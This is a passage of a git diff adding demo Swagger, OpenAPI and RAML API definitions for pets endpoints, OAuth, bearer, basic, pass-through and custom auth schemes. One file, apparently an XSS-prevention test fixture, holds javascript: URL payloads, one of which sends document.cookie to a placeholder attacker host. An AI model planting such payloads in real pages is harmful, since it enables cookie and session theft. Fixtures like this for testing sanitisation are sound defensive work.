+ operationId: findPets
+ parameters:
+ - name: tags
+ in: query
+ description: tags to filter by
+ required: false
+ type: array
+ collectionFormat: csv
+ items:
+ type: string
+ - name: limit
+ in: query
+ description: maximum number of results to return
+ required: false
+ type: integer
+ format: int32
+ responses:
+ "200":
+ description: pet response
+ schema:
+ type: array
+ items:
+ $ref: '#/definitions/Pet'
+ default:
+ description: unexpected error
+ schema:
+ $ref: '#/definitions/Error'
+ post:
+ description: Creates a new pet in the store. Duplicates are allowed
+ operationId: addPet
+ parameters:
+ - name: pet
+ in: body
+ description: Pet to add to the store
+ required: true
+ schema:
+ $ref: '#/definitions/NewPet'
+ responses:
+ "200":
+ description: pet response
+ schema:
+ $ref: '#/definitions/Pet'
+ default:
+ description: unexpected error
+ schema:
+ $ref: '#/definitions/Error'
+ /pets/{id}:
+ get:
+ description: Returns a user based on a single ID, if the user does not have access to the pet
+ operationId: find pet by id
+ parameters:
+ - name: id
+ in: path
+ description: ID of pet to fetch
+ required: true
+ type: integer
+ format: int64
+ responses:
+ "200":
+ description: pet response
+ schema:
+ $ref: '#/definitions/Pet'
+ default:
+ description: unexpected error
+ schema:
+ $ref: '#/definitions/Error'
+ delete:
+ description: deletes a single pet based on the ID supplied
+ operationId: deletePet
+ parameters:
+ - name: id
+ in: path
+ description: ID of pet to delete
+ required: true
+ type: integer
+ format: int64
+ responses:
+ "204":
+ description: pet deleted
+ default:
+ description: unexpected error
+ schema:
+ $ref: '#/definitions/Error'
+definitions:
+ Pet:
+ allOf:
+ - $ref: '#/definitions/NewPet'
+ - required:
+ - id
+ properties:
+ id:
+ type: integer
+ format: int64
+
+ NewPet:
+ required:
+ - name
+ properties:
+ name:
+ type: string
+ tag:
+ type: string
+
+ Error:
+ required:
+ - code
+ - message
+ properties:
+ code:
+ type: integer
+ format: int32
+ message:
+ type: string
\ No newline at end of file
diff --git a/demo/apis/oas-api/read-only-properties.yaml b/demo/apis/oas-api/read-only-properties.yaml
new file mode 100644
index 0000000..736547a
--- /dev/null
+++ b/demo/apis/oas-api/read-only-properties.yaml
@@ -0,0 +1,42 @@
+openapi: '3.0.2'
+info:
+ title: Read Only Properties API
+ version: '1.0'
+
+components:
+ schemas:
+ Article:
+ description: Representation of an article with title and body in CommonMark format.
+ type: object
+ properties:
+ id:
+ type: string
+ description: The unique ID of this article, generated by the API implementation upon creation of the article.
+ readOnly: true
+ title:
+ description: The title of the article, in CommonMark format.
+ type: string
+ minLength: 3
+
+paths:
+ /default:
+ description: A default path to the API
+ get:
+ summary: "A get method"
+ responses:
+ 200:
+ description: Successful response
+ post:
+ summary: Add something
+ requestBody:
+ content: # Response body
+ application/json: # Media type
+ schema:
+ $ref: "#/components/schemas/Article"
+ responses:
+ 201:
+ description: Successful creation
+ content:
+ appliication/json:
+ schema:
+ $ref: "#/components/schemas/Article"
diff --git a/demo/apis/oas-bearer/oas-bearer.yaml b/demo/apis/oas-bearer/oas-bearer.yaml
new file mode 100644
index 0000000..8bfb13c
--- /dev/null
+++ b/demo/apis/oas-bearer/oas-bearer.yaml
@@ -0,0 +1,45 @@
+openapi: 3.0.0
+
+info:
+ version: 1.0.0
+ title: OAS Bearer auth API
+
+servers:
+ - url: https://{customerId}.saas-app.com:{port}/v2
+ variables:
+ customerId:
+ default: demo
+ description: Customer ID assigned by the service provider
+ port:
+ enum:
+ - '443'
+ - '8443'
+ default: '443'
+
+components:
+ securitySchemes:
+ bearerAuth:
+ type: http
+ scheme: bearer
+ bearerFormat: JWT
+ basicAuth:
+ type: http
+ scheme: basic
+
+paths:
+ /bearer:
+ get:
+ summary: Requires bearer token
+ security:
+ - bearerAuth: []
+ responses:
+ default:
+ description: Unexpected error
+ /basic:
+ get:
+ summary: Requires basic auth
+ security:
+ - basicAuth: []
+ responses:
+ default:
+ description: Unexpected error
diff --git a/demo/apis/oas-callbacks/oas-callbacks.yaml b/demo/apis/oas-callbacks/oas-callbacks.yaml
new file mode 100644
index 0000000..ed41dae
--- /dev/null
+++ b/demo/apis/oas-callbacks/oas-callbacks.yaml
@@ -0,0 +1,150 @@
+openapi: 3.0.0
+
+info:
+ version: 1.0.0
+ title: OAS Bearer auth API
+
+servers:
+ - url: https://{customerId}.saas-app.com:{port}/v2
+ variables:
+ customerId:
+ default: demo
+ description: Customer ID assigned by the service provider
+ port:
+ enum:
+ - '443'
+ - '8443'
+ default: '443'
+
+components:
+ requestBodies:
+ callbackMessage1:
+ description: Callback message `1`
+ required: true
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/Clb1'
+ callbackMessage2:
+ description: Callback message `2`
+ required: true
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/Clb2'
+ callbackMessage3:
+ description: Callback message `3`
+ required: true
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/Clb3'
+ schemas:
+ Clb1:
+ title: Event 1
+ type: object
+ properties:
+ text:
+ type: string
+ description: Message text
+ Clb2:
+ title: Event 2
+ type: object
+ properties:
+ productId:
+ type: string
+ description: Order product id
+ Clb3:
+ title: Event 3
+ type: object
+ properties:
+ eventId:
+ type: string
+ description: Event internal ID
+ triggerAuthor:
+ type: string
+ description: A person triggered the event
+ paymentRequest:
+ title: Payment
+ type: object
+ properties:
+ token:
+ type: string
+ description: Payment token generated for this request
+ amount:
+ type: number
+ description: The payment amount.
+paths:
+ /subscribe:
+ post:
+ operationId: subscribeOperation
+ requestBody:
+ content:
+ application/json:
+ schema:
+ type: object
+ properties:
+ inProgressUrl:
+ type: string
+ failedUrl:
+ type: string
+ successUrl:
+ type: string
+ responses:
+ '200':
+ description: OK
+ links:
+ unsubscribeOp:
+ operationId: unsubscribeOperation
+ parameters:
+ Id: $response.body#/subscriberId
+ otherOp:
+ parameters:
+ one: $response.body#/one
+ two: $response.body#/two
+ 402:
+ description: Not OK. Payment is required
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/paymentRequest'
+ links:
+ paymentUrl:
+ parameters:
+ paymentUrl: $response.body#/info.paymentUri
+ paymentToken: $response.body#/info.token
+ callbacks:
+ inProgress:
+ '{$request.body#/inProgressUrl}':
+ post:
+ requestBody:
+ $ref: '#/components/requestBodies/callbackMessage1'
+ responses:
+ '200':
+ description: OK
+ '{$request.body#/failedUrl}':
+ post:
+ requestBody:
+ $ref: '#/components/requestBodies/callbackMessage2'
+ responses:
+ '200':
+ description: OK
+ '{$request.body#/successUrl}':
+ post:
+ requestBody:
+ $ref: '#/components/requestBodies/callbackMessage3'
+ responses:
+ '200':
+ description: OK
+ /unsubscribe:
+ post:
+ operationId: unsubscribeOperation
+ parameters:
+ - in: query
+ name: Id
+ required: true
+ schema:
+ type: string
+ responses:
+ '200':
+ description: OK
diff --git a/demo/apis/oauth-flows/oauth-flows.yaml b/demo/apis/oauth-flows/oauth-flows.yaml
new file mode 100644
index 0000000..1463be6
--- /dev/null
+++ b/demo/apis/oauth-flows/oauth-flows.yaml
@@ -0,0 +1,61 @@
+openapi: 3.0.0
+
+info:
+ version: 1.0.0
+ title: OAS OAuth flows API
+
+servers:
+ - url: https://{customerId}.saas-app.com:{port}/v2
+ variables:
+ customerId:
+ default: demo
+ description: Customer ID assigned by the service provider
+ port:
+ enum:
+ - '443'
+ - '8443'
+ default: '443'
+
+components:
+ securitySchemes:
+ oAuthSample:
+ type: oauth2
+ description: This API uses OAuth 2 with the implicit grant flow. [More info](https://api.example.com/docs/auth)
+ flows:
+ implicit:
+ authorizationUrl: https://api.example.com/oauth2/authorize
+ scopes:
+ read_pets: read your pets
+ write_pets: modify pets in your account
+ authorizationCode:
+ authorizationUrl: /oauth2/authorize
+ tokenUrl: /oauth2/token
+ refreshUrl: /oauth2/refresh
+ scopes:
+ all: full access
+ password:
+ tokenUrl: /oauth2/token-password
+ refreshUrl: /oauth2/refresh-password
+ scopes:
+ read_pets: read your pets
+ clientCredentials:
+ tokenUrl: /oauth2/token-client
+ refreshUrl: /oauth2/refresh-client
+ scopes: {}
+
+security:
+ - oAuthSample:
+ - write_pets
+ - read_pets
+
+paths:
+ /pets:
+ patch:
+ summary: Add a new pet
+ security:
+ - oAuthSample:
+ - write_pets
+ - read_pets
+ responses:
+ default:
+ description: Unexpected error
diff --git a/demo/apis/oauth-pkce/oauth-2-pkce.raml b/demo/apis/oauth-pkce/oauth-2-pkce.raml
new file mode 100644
index 0000000..2a31aba
--- /dev/null
+++ b/demo/apis/oauth-pkce/oauth-2-pkce.raml
@@ -0,0 +1,33 @@
+#%RAML 1.0 AnnotationTypeDeclaration
+
+displayName: OAuth 2.0 PKCE extension
+allowedTargets: [ SecuritySchemeSettings ]
+type: boolean
+
+description: |
+ OAuth 2 has standardized extension for the "code" grant type, PKCE, or Proof Key for Code Exchange
+ that is not currently supported in RAML. This annotation adds support for Anypoint products to use
+ PKCE extension when performing the authorization.
+
+ ## Annotation Target
+ The [annotation target](https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md#annotation-targets) for those annotations is `SecuritySchemeSettings`.
+ You can only apply it to Security Scheme `settings` property.
+
+ ## Example
+ ```yaml
+ annotationTypes:
+ customSettings: !include oauth-2-pkce.raml
+ securitySchemes:
+ oauth2:
+ type: OAuth 2.0
+ describedBy:
+ headers:
+ Authorization:
+ example: "Bearer token"
+ settings:
+ (pkce): true
+ accessTokenUri: https://auth.domain.com/authorize
+ authorizationUri: https://auth.domain.com/token
+ authorizationGrants: [implicit]
+ scopes: profile
+ ```
\ No newline at end of file
diff --git a/demo/apis/oauth-pkce/oauth-pkce.raml b/demo/apis/oauth-pkce/oauth-pkce.raml
new file mode 100644
index 0000000..2f02b7f
--- /dev/null
+++ b/demo/apis/oauth-pkce/oauth-pkce.raml
@@ -0,0 +1,22 @@
+#%RAML 1.0
+title: Authorization Test API
+version: v1
+baseUri: http://api.domain.com/
+
+annotationTypes:
+ pkce: !include oauth-2-pkce.raml
+ settings: !include ../secured-api/oauth-2-custom-settings.raml
+
+securitySchemes:
+ oauth2:
+ type: OAuth 2.0
+ displayName: PKCE OAuth 2
+ settings:
+ (pkce): true
+ (settings):
+ accessTokenUri: https://auth.domain.com/authorize
+ authorizationUri: https://auth.domain.com/token
+ scopes: profile
+/pkce:
+ get:
+ securedBy: oauth2
diff --git a/demo/apis/oauth1-fragment/oauth1-fragment.raml b/demo/apis/oauth1-fragment/oauth1-fragment.raml
new file mode 100644
index 0000000..ea25a6d
--- /dev/null
+++ b/demo/apis/oauth1-fragment/oauth1-fragment.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 1.0
+description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred.
+settings:
+ requestTokenUri: http://api.domain.com/oauth1/request_token
+ authorizationUri: http://api.domain.com/oauth1/authorize
+ tokenCredentialsUri: http://api.domain.com/oauth1/access_token
diff --git a/demo/oauth2-fragment/oauth2-fragment.raml b/demo/apis/oauth2-fragment/oauth2-fragment.raml
similarity index 100%
rename from demo/oauth2-fragment/oauth2-fragment.raml
rename to demo/apis/oauth2-fragment/oauth2-fragment.raml
diff --git a/demo/apis/prevent-xss/prevent-xss.json b/demo/apis/prevent-xss/prevent-xss.json
new file mode 100644
index 0000000..473b81a
--- /dev/null
+++ b/demo/apis/prevent-xss/prevent-xss.json
@@ -0,0 +1,18 @@
+{
+ "swagger": "2.0",
+ "info": {
+ "description": "test",
+ "version": "1.0.3",
+ "title": "Swagger",
+ "termsOfService": "http://swagger.io/terms/",
+ "contact" : {
+ "name" : "Wally",
+ "email" : "wallythebest@wally.com",
+ "url": "javascript:window.location='http://attacker/?cookie='+document.cookie"
+ },
+ "license": {
+ "name": "I swear if you click below you will have the most amazing experience ever. I promise.",
+ "url": "javascript:alert(/XSS:/.source+document.domain)"
+ }
+ }
+ }
\ No newline at end of file
diff --git a/demo/apis/secured-api/oauth-2-custom-settings.raml b/demo/apis/secured-api/oauth-2-custom-settings.raml
new file mode 100644
index 0000000..cc0da28
--- /dev/null
+++ b/demo/apis/secured-api/oauth-2-custom-settings.raml
@@ -0,0 +1,143 @@
+#%RAML 1.0 AnnotationTypeDeclaration
+displayName: OAuth 2.0 custom settings
+description: |
+ OAuth 2.0 allows to extend the specification with custom access token types,
+ endpoint parameters, grant types or response types.
+ This annotation allows you to annotate the `settings` property of OAuth 2.0
+ security scheme type to inform applications about additional settings.
+ ## Use case
+ Let's say a authorization server requires to send a `resource` query parameter
+ with the authorization request. The `resource` parameter can be any string.
+ Currently it is impossible to define this property in RAML file.
+ Similar if the code exchange request requires to put the `resource` parameter
+ into the request body.
+ This annotation allows you to define this parameter with the RAML definition
+ and place the parameter in the right request.
+ ## Annotation Target
+ The [annotation target](https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md#annotation-targets)
+ for those annotations is `SecuritySchemeSettings`.
+ You can only apply it to Security Scheme `settings` property.
+ ## Example
+ ```yaml
+ annotationTypes:
+ customSettings: !include oauth-2-custom-settings.raml
+ securitySchemes:
+ oauth2:
+ type: OAuth 2.0
+ describedBy:
+ headers:
+ Authorization:
+ example: "Bearer token"
+ settings:
+ (customSettings):
+ authorizationGrants: [custom_grant]
+ ignoreDefaultGrants:
+ authorizationSettings:
+ queryParameters:
+ resource:
+ type: string
+ required: true
+ description: |
+ A resource ID that defines a domain of authorization.
+ headers:
+ x-auth-resource:
+ type: string
+ required: false
+ accessTokenSettings:
+ body:
+ resource:
+ type: string
+ required: true
+ description: |
+ A resource ID that defines a domain of authorization.
+ accessTokenUri: https://auth.domain.com/authorize
+ authorizationUri: https://auth.domain.com/token
+ authorizationGrants: [implicit]
+ scopes: profile
+ ```
+ ## API console
+ This annotation is recognized and respected by API console.
+allowedTargets: [ SecuritySchemeSettings ]
+properties:
+ authorizationSettings:
+ description: |
+ Settings to be applied to the `authorizationUri` GET request.
+ Define any query parameters or headers that are required by your OAuth 2.0
+ authorization server implementation.
+ This settings can be applied only to `token` and `code` requests
+ type: object
+ displayName: Authorization settings
+ required: false
+ properties:
+ queryParameters:
+ displayName: Authorization query parameters
+ description: |
+ Query parameters to be applied to the `authorizationUri`.
+ Use the same notation as RAML's `queryParameters`.
+ If you define a parameter that is already defined in OAuth 2.0 specification
+ (RFC6749) it should be ignored by the processor.
+ type: object
+ required: false
+ properties:
+ /a-zA-Z0-9\-\_/*:
+ type: object
+ required: false
+ accessTokenSettings:
+ displayName: Access token settings
+ description: |
+ Settings to be applied to the token endpoint POST request.
+ Define query parameters, headers or custom body paramaeters that should
+ be included into the request.
+ Note, as per RFC6749, the request content type is `application/x-www-form-urlencoded`
+ and the processor has to always assume this content type.
+ type: object
+ required: false
+ properties:
+ queryParameters:
+ displayName: Token query parameters
+ description: |
+ Query parameters to be applied to the `accessTokenUri`.
+ Use the same notation as RAML's `queryParameters`.
+ OAuth 2.0 specification does not specify any query parameters for this
+ type of request.
+ type: object
+ required: false
+ properties:
+ /a-zA-Z0-9\-\_/*:
+ type: object
+ required: false
+ headers:
+ displayName: Token request headers
+ description: |
+ Headers to be set on the token request.
+ Use the same notation as RAML's `headers`.
+ type: object
+ required: false
+ properties:
+ /a-zA-Z0-9\-\_/*:
+ type: object
+ required: false
+ body:
+ displayName: Token body parameters
+ description: |
+ Body parameters to be applied to the `accessTokenUri`.
+ Properties will be applied to the default set of OAuth 2.0 token request
+ parameters.
+ If you define a parameter that is already defined in OAuth 2.0 specification
+ (RFC6749) it should be ignored by the processor.
+ type: object
+ required: false
+ authorizationGrants:
+ type: string[]
+ displayName: Custom authorization grants
+ required: false
+ description: |
+ List of custom authorization granst supported by your OAuth 2.0 server
+ ignoreDefaultGrants:
+ type: nil
+ required: false
+ description: |
+ If set, the processor should not use any of the `authorizationGrants`
+ properties defined in the `settings` and should be replaced by
+ `authorizationGrants` defined in this annotation.
+ This can be used only if this annotation `authorizationGrants` is set.
diff --git a/demo/apis/secured-api/oauth2-header-delivery.raml b/demo/apis/secured-api/oauth2-header-delivery.raml
new file mode 100644
index 0000000..e4aaffd
--- /dev/null
+++ b/demo/apis/secured-api/oauth2-header-delivery.raml
@@ -0,0 +1,13 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 2.0
+displayName: Token delivery described as query parameter only
+settings:
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ authorizationGrants: authorization_code
+ scopes: [profile, email]
+describedBy:
+ headers:
+ token:
+ type: string
+ description: Apply access token here.
diff --git a/demo/apis/secured-api/oauth2-no-delivery.raml b/demo/apis/secured-api/oauth2-no-delivery.raml
new file mode 100644
index 0000000..ebc3f6d
--- /dev/null
+++ b/demo/apis/secured-api/oauth2-no-delivery.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 2.0
+displayName: Token delivery described as query parameter only
+settings:
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ authorizationGrants: authorization_code
+ scopes: [profile, email]
diff --git a/demo/apis/secured-api/oauth2-no-grants.raml b/demo/apis/secured-api/oauth2-no-grants.raml
new file mode 100644
index 0000000..b3abf1b
--- /dev/null
+++ b/demo/apis/secured-api/oauth2-no-grants.raml
@@ -0,0 +1,12 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 2.0
+displayName: This OAuth2 has no auth grants!
+settings:
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ scopes: [profile, email]
+describedBy:
+ queryParameters:
+ access_token:
+ type: string
+ description: Apply access token here.
diff --git a/demo/apis/secured-api/oauth2-pkce.raml b/demo/apis/secured-api/oauth2-pkce.raml
new file mode 100644
index 0000000..4947750
--- /dev/null
+++ b/demo/apis/secured-api/oauth2-pkce.raml
@@ -0,0 +1,13 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 2.0
+displayName: This OAuth2 has PKCE annotation
+settings:
+ (pkce): true
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ scopes: [profile, email]
+describedBy:
+ queryParameters:
+ access_token:
+ type: string
+ description: Apply access token here.
diff --git a/demo/apis/secured-api/oauth2-query-delivery.raml b/demo/apis/secured-api/oauth2-query-delivery.raml
new file mode 100644
index 0000000..4a5b7e2
--- /dev/null
+++ b/demo/apis/secured-api/oauth2-query-delivery.raml
@@ -0,0 +1,13 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 2.0
+displayName: Token delivery described as query parameter only
+settings:
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ authorizationGrants: authorization_code
+ scopes: [profile, email]
+describedBy:
+ queryParameters:
+ access_token:
+ type: string
+ description: Apply access token here.
diff --git a/demo/apis/secured-api/oauth_1_0.raml b/demo/apis/secured-api/oauth_1_0.raml
new file mode 100644
index 0000000..9aa9493
--- /dev/null
+++ b/demo/apis/secured-api/oauth_1_0.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 1.0
+description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred.
+settings:
+ requestTokenUri: http://api.domain.com/oauth1/request_token
+ authorizationUri: http://api.domain.com/oauth1/authorize
+ tokenCredentialsUri: http://api.domain.com/oauth1/access_token
+ signatures: [RSA-SHA1, HMAC-SHA1]
diff --git a/demo/apis/secured-api/oauth_1_0_no-settings.raml b/demo/apis/secured-api/oauth_1_0_no-settings.raml
new file mode 100644
index 0000000..6cc6ffc
--- /dev/null
+++ b/demo/apis/secured-api/oauth_1_0_no-settings.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 1.0
+description: This has no settings.
diff --git a/demo/apis/secured-api/oauth_1_0_no-signature.raml b/demo/apis/secured-api/oauth_1_0_no-signature.raml
new file mode 100644
index 0000000..ea25a6d
--- /dev/null
+++ b/demo/apis/secured-api/oauth_1_0_no-signature.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 1.0
+description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred.
+settings:
+ requestTokenUri: http://api.domain.com/oauth1/request_token
+ authorizationUri: http://api.domain.com/oauth1/authorize
+ tokenCredentialsUri: http://api.domain.com/oauth1/access_token
diff --git a/demo/apis/secured-api/oauth_1_0_signature.raml b/demo/apis/secured-api/oauth_1_0_signature.raml
new file mode 100644
index 0000000..b9d59d5
--- /dev/null
+++ b/demo/apis/secured-api/oauth_1_0_signature.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 1.0
+description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred.
+settings:
+ requestTokenUri: http://api.domain.com/oauth1/request_token
+ authorizationUri: http://api.domain.com/oauth1/authorize
+ tokenCredentialsUri: http://api.domain.com/oauth1/access_token
+ signatures: [RSA-SHA1]
diff --git a/demo/apis/secured-api/passthrough-querystring.raml b/demo/apis/secured-api/passthrough-querystring.raml
new file mode 100644
index 0000000..0c26c60
--- /dev/null
+++ b/demo/apis/secured-api/passthrough-querystring.raml
@@ -0,0 +1,16 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+ This API supports Pass Through Authentication.
+type: Pass Through
+describedBy:
+ queryString:
+ type: object
+ properties:
+ queryStringProperty1:
+ type: number
+ required: true
+ queryStringProperty2:
+ description: Random string
+ type: string
+ required: false
diff --git a/demo/apis/secured-api/passthrough.raml b/demo/apis/secured-api/passthrough.raml
new file mode 100644
index 0000000..383896c
--- /dev/null
+++ b/demo/apis/secured-api/passthrough.raml
@@ -0,0 +1,24 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+ This API supports Pass Through Authentication.
+type: Pass Through
+describedBy:
+ queryParameters:
+ query:
+ type: string
+ example: my-value
+ description: |
+ This demonstrates how Pass Through authentication
+ works with `api-authorization-method` component.
+ debugTokenParam:
+ description: Select one of available values to run the request in the debug mode with selected level.
+ enum: [Info, Log, Warning, Error, Critical]
+ type: string
+ required: false
+ headers:
+ api_key:
+ type: string
+ pattern: "[0-9a-zA-Z\\.-]+"
+ description: |
+ This headers has pattern included in the definition.
diff --git a/demo/apis/secured-api/secured-api.raml b/demo/apis/secured-api/secured-api.raml
new file mode 100644
index 0000000..c624d2d
--- /dev/null
+++ b/demo/apis/secured-api/secured-api.raml
@@ -0,0 +1,231 @@
+#%RAML 1.0
+title: Authorization Test API
+version: v1
+baseUri: http://api.domain.com/
+
+annotationTypes:
+ oauth-2-custom-settings: !include oauth-2-custom-settings.raml
+
+types:
+ apiTokens: # each is optional, not exclusive with anything
+ properties:
+ userToken: number
+ applicationToken?: number
+
+securitySchemes:
+ basic:
+ type: Basic Authentication
+ description: |
+ This API supports Basic Authentication.
+ digest:
+ description: |
+ This API supports DigestSecurityScheme Authentication.
+ type: Digest Authentication
+ passthrough: !include passthrough.raml
+ passthroughQueryString: !include passthrough-querystring.raml
+ custom_scheme:
+ description: |
+ A custom security scheme for authenticating requests.
+ type: x-custom
+ displayName: RAML's custom scheme
+ describedBy:
+ headers:
+ SpecialToken:
+ description: |
+ Used to send a custom token.
+ type: string
+ queryString:
+ type: apiTokens
+ examples:
+ first:
+ value:
+ userToken: 1234
+ applicationToken: 5678
+ second:
+ value:
+ start: 1239874566
+ page-size: 987321456
+ responses:
+ 401:
+ description: |
+ Bad token.
+ 403:
+ custom1: !include x-custom.raml
+ custom2: !include x-other.raml
+ custom3: !include x-query-string.raml
+ oauth2:
+ type: OAuth 2.0
+ displayName: Regular OAuth 2.0 definition
+ settings:
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ scopes: [profile, email]
+ describedBy:
+ queryParameters:
+ access_token:
+ type: string
+ description: Apply access token here.
+ headers:
+ Authorization:
+ type: string
+ oauth2grants:
+ type: OAuth 2.0
+ displayName: Regular OAuth 2.0 definition
+ settings:
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ authorizationGrants: authorization_code
+ scopes: [profile, email]
+ describedBy:
+ queryParameters:
+ access_token:
+ type: string
+ description: Apply access token here.
+ headers:
+ Authorization:
+ type: string
+ oauth2Annotation:
+ type: OAuth 2.0
+ displayName: OAuth 2.0 with annotation
+ settings:
+ (oauth-2-custom-settings):
+ # ignoreDefaultGrants:
+ authorizationGrants: [annotated_custom_grant, annotated_custom_grant2]
+ authorizationSettings:
+ queryParameters:
+ resource:
+ type: string
+ required: true
+ description: |
+ A resource ID that defines a domain of authorization.
+ displayName: Hello query parameeter
+ default: default
+ examples:
+ named: named example value
+ otherExample: test example value
+ pattern: "[a-zA-Z]+"
+ maxLength: 12
+ minLength: 3
+ numericParam:
+ type: number
+ minimum: 10
+ maximum: 20
+ multipleOf: 2
+ format: float
+ required: false
+ example: 22
+ dateParam:
+ type: date-only
+ required: false
+ repeatableParam1:
+ type: string[]
+ required: false
+ repetableParam2:
+ type: array
+ items: integer
+ required: false
+ accessTokenSettings:
+ queryParameters:
+ queryTokenResource: string
+ detailedTokenResource:
+ type: number
+ description: some description
+ required: false
+ headers:
+ x-token-resource:
+ type: number
+ default: 123
+ body:
+ bodyTokenResource: string
+ bodyDetailed:
+ type: boolean
+ required: true
+ displayName: Body detailed property
+ default: true
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ authorizationGrants: [authorization_code, password, client_credentials, implicit]
+ scopes: [profile, email]
+ describedBy:
+ queryParameters:
+ access_token:
+ type: string
+ description: Apply access token here.
+ oauth2queryDelivery: !include oauth2-query-delivery.raml
+ oauth2headerDelivery: !include oauth2-header-delivery.raml
+ oauth2noDelivery: !include oauth2-no-delivery.raml
+ oauth2noGrants: !include oauth2-no-grants.raml
+ oauth2pkce: !include oauth2-pkce.raml
+ oauth1: !include oauth_1_0.raml
+ oauth1signature: !include oauth_1_0_signature.raml
+ oauth1noSignature: !include oauth_1_0_no-signature.raml
+ oauth1noSettings: !include oauth_1_0_no-settings.raml
+/basic:
+ get:
+ securedBy: basic
+/digest:
+ get:
+ securedBy: digest
+/passthrough:
+ get:
+ securedBy: passthrough
+/passthrough-query-string:
+ get:
+ securedBy: passthroughQueryString
+/custom-query-string:
+ get:
+ securedBy: custom_scheme
+/custom1:
+ get:
+ securedBy: [custom1]
+/custom2:
+ get:
+ securedBy: [custom2]
+/custom3:
+ get:
+ securedBy: [custom3]
+/oauth2:
+ post:
+ securedBy: [oauth2]
+/oauth2-with-annotations:
+ get:
+ securedBy: [oauth2Annotation]
+/oauth2-with-grant-list:
+ get:
+ securedBy: [oauth2grants]
+/oauth2-query-delivery:
+ get:
+ securedBy: [oauth2queryDelivery]
+/oauth2-header-delivery:
+ get:
+ securedBy: [oauth2headerDelivery]
+/oauth2-no-delivery:
+ get:
+ securedBy: [oauth2noDelivery]
+/oauth2-no-grants:
+ get:
+ securedBy: [oauth2noGrants]
+/oauth2-pkce:
+ get:
+ securedBy: [oauth2pkce]
+/oauth1:
+ get:
+ securedBy: [oauth1]
+/oauth1-signature:
+ get:
+ securedBy: [oauth1signature]
+/oauth1-nosignature:
+ get:
+ securedBy: [oauth1noSignature]
+/oauth1-nosettings:
+ get:
+ securedBy: [oauth1noSettings]
+/combo-types:
+ get:
+ securedBy: [basic, digest, passthroughQueryString, custom1, oauth2, oauth1]
+/all-oauth2:
+ get:
+ securedBy: [oauth2, oauth2Annotation, oauth2grants, oauth2queryDelivery, oauth2headerDelivery, oauth2noDelivery, oauth2noGrants]
+/nil-oauth2:
+ get:
+ securedBy: [null, oauth2]
diff --git a/demo/apis/secured-api/x-custom.raml b/demo/apis/secured-api/x-custom.raml
new file mode 100644
index 0000000..b76322d
--- /dev/null
+++ b/demo/apis/secured-api/x-custom.raml
@@ -0,0 +1,33 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+ A custom security scheme for authenticating requests.
+ It allows to set `SpecialToken` header from the authorization panel.
+ The same header should be rendered in the headers editor with console using
+ RAML JS parser.
+ With `AMF` console this is separated information.
+ This scheme also sets `debugToken` and `booleanToken` query parameters.
+ Both are enums, however `booleanToken` can only have `true` and `false`
+ values.
+type: x-my-custom
+describedBy:
+ headers:
+ SpecialTokenHeader:
+ description: |
+ Used to send a custom token.
+ type: string
+ queryParameters:
+ debugTokenParam:
+ description: Select one of available values to run the request in the debug mode with selected level.
+ enum: [Info, Log, Warning, Error, Critical]
+ type: string
+ required: false
+ booleanTokenParam:
+ description: Just to test boolean values.
+ type: boolean
+ default: true
+ responses:
+ 401:
+ description: |
+ Bad token.
+ 403:
diff --git a/demo/apis/secured-api/x-other.raml b/demo/apis/secured-api/x-other.raml
new file mode 100644
index 0000000..45e4cb5
--- /dev/null
+++ b/demo/apis/secured-api/x-other.raml
@@ -0,0 +1,29 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+ Other custom security method for authorization.
+type: x-custom
+describedBy:
+ queryParameters:
+ apiUserIdParam:
+ description: |
+ Your api user ID. Some imaginary value.
+ type: number
+ required: true
+ apiNonceParam:
+ description: Random string
+ type: string
+ responses:
+ 401:
+ description: |
+ Bad token autorization.
+ body:
+ application/json:
+ type: object
+ properties:
+ error:
+ type: boolean
+ description: Always true. Indicates that the response is errord.
+ message:
+ type: string
+ description: Human readable message describing the error.
diff --git a/demo/apis/secured-api/x-query-string.raml b/demo/apis/secured-api/x-query-string.raml
new file mode 100644
index 0000000..438b230
--- /dev/null
+++ b/demo/apis/secured-api/x-query-string.raml
@@ -0,0 +1,16 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+ Tests for queryString RAML's property
+type: x-custom
+describedBy:
+ queryString:
+ type: object
+ properties:
+ queryStringProperty1:
+ type: number
+ required: true
+ queryStringProperty2:
+ description: Random string
+ type: string
+ required: false
diff --git a/demo/apis/secured-unions/secured-unions.yaml b/demo/apis/secured-unions/secured-unions.yaml
new file mode 100644
index 0000000..f0f7da1
--- /dev/null
